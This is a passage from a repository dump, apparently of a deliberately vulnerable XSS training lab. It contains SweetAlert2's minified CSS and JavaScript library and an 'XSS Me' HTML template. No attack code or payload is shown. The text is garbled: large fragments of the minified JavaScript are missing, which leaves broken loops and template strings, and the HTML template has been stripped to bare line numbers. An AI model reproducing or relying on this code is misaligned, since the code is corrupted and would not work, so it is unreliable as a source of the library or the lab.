[class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto} -------------------------------------------------------------------------------- /lab/frontend/xss/app/static/sweetalert2.min.js: -------------------------------------------------------------------------------- 1 | !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sweetalert2=e()}(this,function(){"use strict";function r(t){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){for(var n=0;nt.clientHeight)}function lt(t){var e=window.getComputedStyle(t),t=parseFloat(e.getPropertyValue("animation-duration")||"0"),e=parseFloat(e.getPropertyValue("transition-duration")||"0");return 0\n
\n
    \n
    \n \n

    \n \n
    \n
    \n
    \n \n \n
    \n \n \n
    \n \n
    \n \n \n
    \n
    \n
    \n
    \n \n \n \n
    \n
    \n
    \n
    \n
    \n \n').replace(/(^|\n)\s*/g,""),kt=function(t){var e,n,o,i,r,a=!!(i=k())&&(i.parentNode.removeChild(i),bt([document.documentElement,document.body],[$["no-backdrop"],$["toast-shown"],$["has-column"]]),!0);pt()?K("SweetAlert2 requires document to initialize"):((r=document.createElement("div")).className=$.container,a&&vt(r,$["no-transition"]),U(r,Ct),(i="string"==typeof(e=t.target)?document.querySelector(e):e).appendChild(r),a=t,(e=A()).setAttribute("role",a.toast?"alert":"dialog"),e.setAttribute("aria-live",a.toast?"polite":"assertive"),a.toast||e.setAttribute("aria-modal","true"),r=i,"rtl"===window.getComputedStyle(r).direction&&vt(k(),$.rtl),t=P(),a=yt(t,$.input),e=yt(t,$.file),n=t.querySelector(".".concat($.range," input")),o=t.querySelector(".".concat($.range," output")),i=yt(t,$.select),r=t.querySelector(".".concat($.checkbox," input")),t=yt(t,$.textarea),a.oninput=ft,e.onchange=ft,i.onchange=ft,r.onchange=ft,t.oninput=ft,n.oninput=function(t){ft(t),o.value=n.value},n.onchange=function(t){ft(t),n.nextSibling.value=n.value})},At=function(t,e){t.jquery?xt(e,t):U(e,t.toString())},xt=function(t,e){if(t.textContent="",0 in e)for(var n=0;n in e;n++)t.appendChild(e[n].cloneNode(!0));else t.appendChild(e.cloneNode(!0))},Bt=function(){if(pt())return!1;var t,e=document.createElement("div"),n={WebkitAnimation:"webkitAnimationEnd",OAnimation:"oAnimationEnd oanimationend",animation:"animationend"};for(t in n)if(Object.prototype.hasOwnProperty.call(n,t)&&void 0!==e.style[t])return n[t];return!1}();function Pt(t,e,n){ut(t,n["show".concat(m(e),"Button")],"inline-block"),U(t,n["".concat(e,"ButtonText")]),t.setAttribute("aria-label",n["".concat(e,"ButtonAriaLabel")]),t.className=$[e],_(t,n,"".concat(e,"Button")),vt(t,n["".concat(e,"ButtonClass")])}function Ot(t,e){var n,o,i=k();i&&(o=i,"string"==typeof(n=e.backdrop)?o.style.background=n:n||vt([document.documentElement,document.body],$["no-backdrop"]),!e.backdrop&&e.allowOutsideClick&&W('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'),o=i,(n=e.position)in $?vt(o,$[n]):(W('The "position" parameter is not valid, defaulting to "center"'),vt(o,$.center)),n=i,!(o=e.grow)||"string"!=typeof o||(o="grow-".concat(o))in $&&vt(n,$[o]),_(i,e,"container"),(e=document.body.getAttribute("data-swal2-queue-step"))&&(i.setAttribute("data-queue-step",e),document.body.removeAttribute("data-swal2-queue-step")))}function Et(t,e){t.placeholder&&!e.inputPlaceholder||(t.placeholder=e.inputPlaceholder)}function St(t,e,n){var o,i;n.inputLabel&&(t.id=$.input,o=document.createElement("label"),i=$["input-label"],o.setAttribute("for",t.id),o.className=i,vt(o,n.customClass.inputLabel),o.innerText=n.inputLabel,e.insertAdjacentElement("beforebegin",o))}var Tt={promise:new WeakMap,innerParams:new WeakMap,domCache:new WeakMap},Lt=["input","file","range","select","radio","checkbox","textarea"],qt=function(t){if(!It[t.input])return K('Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "'.concat(t.input,'"'));var e=Mt(t.input),n=It[t.input](e,t);rt(n),setTimeout(function(){nt(n)})},Dt=function(t,e){var n=et(P(),t);if(n)for(var o in!function(t){for(var e=0;e=o.progressSteps.length&&W("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)"),o.progressSteps.forEach(function(t,e){var n,t=(n=t,t=document.createElement("li"),vt(t,$["progress-step"]),U(t,n),t);i.appendChild(t),e===r&&vt(t,$["active-progress-step"]),e!==o.progressSteps.length-1&&(t=o,e=document.createElement("li"),vt(e,$["progress-step-line"]),t.progressStepsDistance&&(e.style.width=t.progressStepsDistance),i.appendChild(e))})}function Nt(t,e){var n,o=M();_(o,e,"header"),Rt(0,e),n=t,o=e,t=Tt.innerParams.get(n),n=x(),t&&o.icon===t.icon?(Wt(n,o),_t(n,o)):o.icon||o.iconHtml?o.icon&&-1===Object.keys(X).indexOf(o.icon)?(K('Unknown icon! Expected "success", "error", "warning", "info" or "question", got "'.concat(o.icon,'"')),at(n)):(rt(n),Wt(n,o),_t(n,o),vt(n,o.showClass.icon)):at(n),function(t){var e=E();if(!t.imageUrl)return at(e);rt(e,""),e.setAttribute("src",t.imageUrl),e.setAttribute("alt",t.imageAlt),it(e,"width",t.imageWidth),it(e,"height",t.imageHeight),e.className=$.image,_(e,t,"image")}(e),o=e,n=B(),ut(n,o.title||o.titleText,"block"),o.title&&mt(o.title,n),o.titleText&&(n.innerText=o.titleText),_(n,o,"title"),o=e,e=V(),U(e,o.closeButtonHtml),_(e,o,"closeButton"),ut(e,o.showCloseButton),e.setAttribute("aria-label",o.closeButtonAriaLabel)}function Ut(t,e){var n,o,i;i=e,n=k(),o=A(),i.toast?(it(n,"width",i.width),o.style.width="100%"):it(o,"width",i.width),it(o,"padding",i.padding),i.background&&(o.style.background=i.background),at(S()),Qt(o,i),Ot(0,e),Nt(t,e),Ht(t,e),ht(0,e),i=e,t=I(),ut(t,i.footer),i.footer&&mt(i.footer,t),_(t,i,"footer"),"function"==typeof e.didRender?e.didRender(A()):"function"==typeof e.onRender&&e.onRender(A())}function Ft(){return T()&&T().click()}var _t=function(t,e){for(var n in X)e.icon!==n&&bt(t,X[n]);vt(t,X[e.icon]),Kt(t,e),zt(),_(t,e,"icon")},zt=function(){for(var t=A(),e=window.getComputedStyle(t).getPropertyValue("background-color"),n=t.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix"),o=0;o\n \n
    \n
    \n '):"error"===e.icon?U(t,'\n \n \n \n \n '):U(t,Yt({question:"?",warning:"!",info:"i"}[e.icon]))},Kt=function(t,e){if(e.iconColor){t.style.color=e.iconColor,t.style.borderColor=e.iconColor;for(var n=0,o=[".swal2-success-line-tip",".swal2-success-line-long",".swal2-x-mark-line-left",".swal2-x-mark-line-right"];n').concat(t,"")},Zt=[],Qt=function(t,e){t.className="".concat($.popup," ").concat(wt(t)?e.showClass.popup:""),e.toast?(vt([document.documentElement,document.body],$["toast-shown"]),vt(t,$.toast)):vt(t,$.modal),_(t,e,"popup"),"string"==typeof e.customClass&&vt(t,e.customClass),e.icon&&vt(t,$["icon-".concat(e.icon)])};function Jt(t){(e=A())||Mn.fire();var e=A(),n=j(),o=q();!t&&wt(T())&&(t=T()),rt(n),t&&(at(t),o.setAttribute("data-button-to-replace",t.className)),o.parentNode.insertBefore(o,t),vt([e,n],$.loading),rt(o),e.setAttribute("data-loading",!0),e.setAttribute("aria-busy",!0),e.focus()}function $t(o){return new Promise(function(t){if(!o)return t();var e=window.scrollX,n=window.scrollY;te.restoreFocusTimeout=setTimeout(function(){te.previousActiveElement&&te.previousActiveElement.focus?(te.previousActiveElement.focus(),te.previousActiveElement=null):document.body&&document.body.focus(),t()},100),void 0!==e&&void 0!==n&&window.scrollTo(e,n)})}function Xt(){if(te.timeout)return function(){var t=H(),e=parseInt(window.getComputedStyle(t).width);t.style.removeProperty("transition"),t.style.width="100%";var n=parseInt(window.getComputedStyle(t).width),n=parseInt(e/n*100);t.style.removeProperty("transition"),t.style.width="".concat(n,"%")}(),te.timeout.stop()}function Gt(){if(te.timeout){var t=te.timeout.start();return dt(t),t}}var te={},ee=!1,ne={};function oe(t){for(var e=t.target;e&&e!==document;e=e.parentNode)for(var n in ne){var o=e.getAttribute(n);if(o)return void ne[n].fire({template:o})}}function ie(t){return Object.prototype.hasOwnProperty.call(se,t)}function re(t){return ce[t]}function ae(t){for(var e in t)ie(n=e)||W('Unknown parameter "'.concat(n,'"')),t.toast&&(n=e,-1!==le.indexOf(n)&&W('The parameter "'.concat(n,'" is incompatible with toasts'))),re(e=e)&&v(e,re(e));var n}var se={title:"",titleText:"",text:"",html:"",footer:"",icon:void 0,iconColor:void 0,iconHtml:void 0,template:void 0,toast:!1,animation:!0,showClass:{popup:"swal2-show",backdrop:"swal2-backdrop-show",icon:"swal2-icon-show"},hideClass:{popup:"swal2-hide",backdrop:"swal2-backdrop-hide",icon:"swal2-icon-hide"},customClass:{},target:"body",backdrop:!0,heightAuto:!0,allowOutsideClick:!0,allowEscapeKey:!0,allowEnterKey:!0,stopKeydownPropagation:!0,keydownListenerCapture:!1,showConfirmButton:!0,showDenyButton:!1,showCancelButton:!1,preConfirm:void 0,preDeny:void 0,confirmButtonText:"OK",confirmButtonAriaLabel:"",confirmButtonColor:void 0,denyButtonText:"No",denyButtonAriaLabel:"",denyButtonColor:void 0,cancelButtonText:"Cancel",cancelButtonAriaLabel:"",cancelButtonColor:void 0,buttonsStyling:!0,reverseButtons:!1,focusConfirm:!0,focusDeny:!1,focusCancel:!1,returnFocus:!0,showCloseButton:!1,closeButtonHtml:"×",closeButtonAriaLabel:"Close this dialog",loaderHtml:"",showLoaderOnConfirm:!1,showLoaderOnDeny:!1,imageUrl:void 0,imageWidth:void 0,imageHeight:void 0,imageAlt:"",timer:void 0,timerProgressBar:!1,width:void 0,padding:void 0,background:void 0,input:void 0,inputPlaceholder:"",inputLabel:"",inputValue:"",inputOptions:{},inputAutoTrim:!0,inputAttributes:{},inputValidator:void 0,returnInputValueOnDeny:!1,validationMessage:void 0,grow:!1,position:"center",progressSteps:[],currentProgressStep:void 0,progressStepsDistance:void 0,onBeforeOpen:void 0,onOpen:void 0,willOpen:void 0,didOpen:void 0,onRender:void 0,didRender:void 0,onClose:void 0,onAfterClose:void 0,willClose:void 0,didClose:void 0,onDestroy:void 0,didDestroy:void 0,scrollbarPadding:!0},ue=["allowEscapeKey","allowOutsideClick","background","buttonsStyling","cancelButtonAriaLabel","cancelButtonColor","cancelButtonText","closeButtonAriaLabel","closeButtonHtml","confirmButtonAriaLabel","confirmButtonColor","confirmButtonText","currentProgressStep","customClass","denyButtonAriaLabel","denyButtonColor","denyButtonText","didClose","didDestroy","footer","hideClass","html","icon","iconColor","iconHtml","imageAlt","imageHeight","imageUrl","imageWidth","onAfterClose","onClose","onDestroy","progressSteps","returnFocus","reverseButtons","showCancelButton","showCloseButton","showConfirmButton","showDenyButton","text","title","titleText","willClose"],ce={animation:'showClass" and "hideClass',onBeforeOpen:"willOpen",onOpen:"didOpen",onRender:"didRender",onClose:"willClose",onAfterClose:"didClose",onDestroy:"didDestroy"},le=["allowOutsideClick","allowEnterKey","backdrop","focusConfirm","focusDeny","focusCancel","returnFocus","heightAuto","keydownListenerCapture"],de=Object.freeze({isValidParameter:ie,isUpdatableParameter:function(t){return-1!==ue.indexOf(t)},isDeprecatedParameter:re,argsToParams:function(n){var o={};return"object"!==r(n[0])||C(n[0])?["title","html","icon"].forEach(function(t,e){e=n[e];"string"==typeof e||C(e)?o[t]=e:void 0!==e&&K("Unexpected type of ".concat(t,'! Expected "string" or "Element", got ').concat(r(e)))}):u(o,n[0]),o},isVisible:function(){return wt(A())},clickConfirm:Ft,clickDeny:function(){return L()&&L().click()},clickCancel:function(){return D()&&D().click()},getContainer:k,getPopup:A,getTitle:B,getContent:P,getHtmlContainer:O,getImage:E,getIcon:x,getInputLabel:function(){return t($["input-label"])},getCloseButton:V,getActions:j,getConfirmButton:T,getDenyButton:L,getCancelButton:D,getLoader:q,getHeader:M,getFooter:I,getTimerProgressBar:H,getFocusableElements:R,getValidationMessage:S,isLoading:function(){return A().hasAttribute("data-loading")},fire:function(){for(var t=arguments.length,e=new Array(t),n=0;nwindow.innerHeight&&(tt.previousBodyPadding=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right")),document.body.style.paddingRight="".concat(tt.previousBodyPadding+function(){var t=document.createElement("div");t.className=$["scrollbar-measure"],document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e}(),"px"))}function me(){return!!window.MSInputMethodContext&&!!document.documentMode}function he(){var t=k(),e=A();t.style.removeProperty("align-items"),e.offsetTop<0&&(t.style.alignItems="flex-start")}var ge=function(){navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)||A().scrollHeight>window.innerHeight-44&&(k().style.paddingBottom="".concat(44,"px"))},ve=function(){var e,t=k();t.ontouchstart=function(t){e=be(t)},t.ontouchmove=function(t){e&&(t.preventDefault(),t.stopPropagation())}},be=function(t){var e=t.target,n=k();return!ye(t)&&!we(t)&&(e===n||!(ct(n)||"INPUT"===e.tagName||ct(P())&&P().contains(e)))},ye=function(t){return t.touches&&t.touches.length&&"stylus"===t.touches[0].touchType},we=function(t){return t.touches&&1")),kt(t)}function je(t){var e=k(),n=A();"function"==typeof t.willOpen?t.willOpen(n):"function"==typeof t.onBeforeOpen&&t.onBeforeOpen(n);var o=window.getComputedStyle(document.body).overflowY;Je(e,n,t),setTimeout(function(){Ze(e,n)},10),N()&&(Qe(e,t.scrollbarPadding,o),g(document.body.children).forEach(function(t){t===k()||function(t,e){if("function"==typeof t.contains)return t.contains(e)}(t,k())||(t.hasAttribute("aria-hidden")&&t.setAttribute("data-previous-aria-hidden",t.getAttribute("aria-hidden")),t.setAttribute("aria-hidden","true"))})),G()||te.previousActiveElement||(te.previousActiveElement=document.activeElement),Ye(n,t),bt(e,$["no-transition"])}function Me(t){var e=A();t.target===e&&(t=k(),e.removeEventListener(Bt,Me),t.style.overflowY="auto")}function Ie(t,e){t.closePopup({isConfirmed:!0,value:e})}function He(t,e,n){var o=R();if(o.length)return(e+=n)===o.length?e=0:-1===e&&(e=o.length-1),o[e].focus();A().focus()}var Ve=["swal-title","swal-html","swal-footer"],Re=function(t){var n={};return g(t.querySelectorAll("swal-param")).forEach(function(t){Ke(t,["name","value"]);var e=t.getAttribute("name"),t=t.getAttribute("value");"boolean"==typeof se[e]&&"false"===t&&(t=!1),"object"===r(se[e])&&(t=JSON.parse(t)),n[e]=t}),n},Ne=function(t){var n={};return g(t.querySelectorAll("swal-button")).forEach(function(t){Ke(t,["type","color","aria-label"]);var e=t.getAttribute("type");n["".concat(e,"ButtonText")]=t.innerHTML,n["show".concat(m(e),"Button")]=!0,t.hasAttribute("color")&&(n["".concat(e,"ButtonColor")]=t.getAttribute("color")),t.hasAttribute("aria-label")&&(n["".concat(e,"ButtonAriaLabel")]=t.getAttribute("aria-label"))}),n},Ue=function(t){var e={},t=t.querySelector("swal-image");return t&&(Ke(t,["src","width","height","alt"]),t.hasAttribute("src")&&(e.imageUrl=t.getAttribute("src")),t.hasAttribute("width")&&(e.imageWidth=t.getAttribute("width")),t.hasAttribute("height")&&(e.imageHeight=t.getAttribute("height")),t.hasAttribute("alt")&&(e.imageAlt=t.getAttribute("alt"))),e},Fe=function(t){var e={},t=t.querySelector("swal-icon");return t&&(Ke(t,["type","color"]),t.hasAttribute("type")&&(e.icon=t.getAttribute("type")),t.hasAttribute("color")&&(e.iconColor=t.getAttribute("color")),e.iconHtml=t.innerHTML),e},_e=function(t){var n={},e=t.querySelector("swal-input");e&&(Ke(e,["type","label","placeholder","value"]),n.input=e.getAttribute("type")||"text",e.hasAttribute("label")&&(n.inputLabel=e.getAttribute("label")),e.hasAttribute("placeholder")&&(n.inputPlaceholder=e.getAttribute("placeholder")),e.hasAttribute("value")&&(n.inputValue=e.getAttribute("value")));t=t.querySelectorAll("swal-input-option");return t.length&&(n.inputOptions={},g(t).forEach(function(t){Ke(t,["value"]);var e=t.getAttribute("value"),t=t.innerHTML;n.inputOptions[e]=t})),n},ze=function(t,e){var n,o={};for(n in e){var i=e[n],r=t.querySelector(i);r&&(Ke(r,[]),o[i.replace(/^swal-/,"")]=r.innerHTML.trim())}return o},We=function(e){var n=Ve.concat(["swal-param","swal-button","swal-image","swal-icon","swal-input","swal-input-option"]);g(e.querySelectorAll("*")).forEach(function(t){t.parentNode===e&&(t=t.tagName.toLowerCase(),-1===n.indexOf(t)&&W("Unrecognized element <".concat(t,">")))})},Ke=function(e,n){g(e.attributes).forEach(function(t){-1===n.indexOf(t.name)&&W(['Unrecognized attribute "'.concat(t.name,'" on <').concat(e.tagName.toLowerCase(),">."),"".concat(n.length?"Allowed attributes are: ".concat(n.join(", ")):"To set the value, use HTML within the element.")])})},Ye=function(t,e){"function"==typeof e.didOpen?setTimeout(function(){return e.didOpen(t)}):"function"==typeof e.onOpen&&setTimeout(function(){return e.onOpen(t)})},Ze=function(t,e){Bt&<(e)?(t.style.overflowY="hidden",e.addEventListener(Bt,Me)):t.style.overflowY="auto"},Qe=function(t,e,n){var o;(/iPad|iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream||"MacIntel"===navigator.platform&&1 2 | 3 | 4 | 5 | 6 | 7 | 8 | XSS Me 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
    17 |
    18 |
    19 |
    20 |
    21 |
    22 |
    23 | 24 |
    25 | 26 |
    27 |
    28 |
    29 | 30 |
    31 | 32 |
    33 |
    34 |
    35 | 38 |
    39 | 44 |
    45 |
    46 |
    47 |
    48 |
    49 |
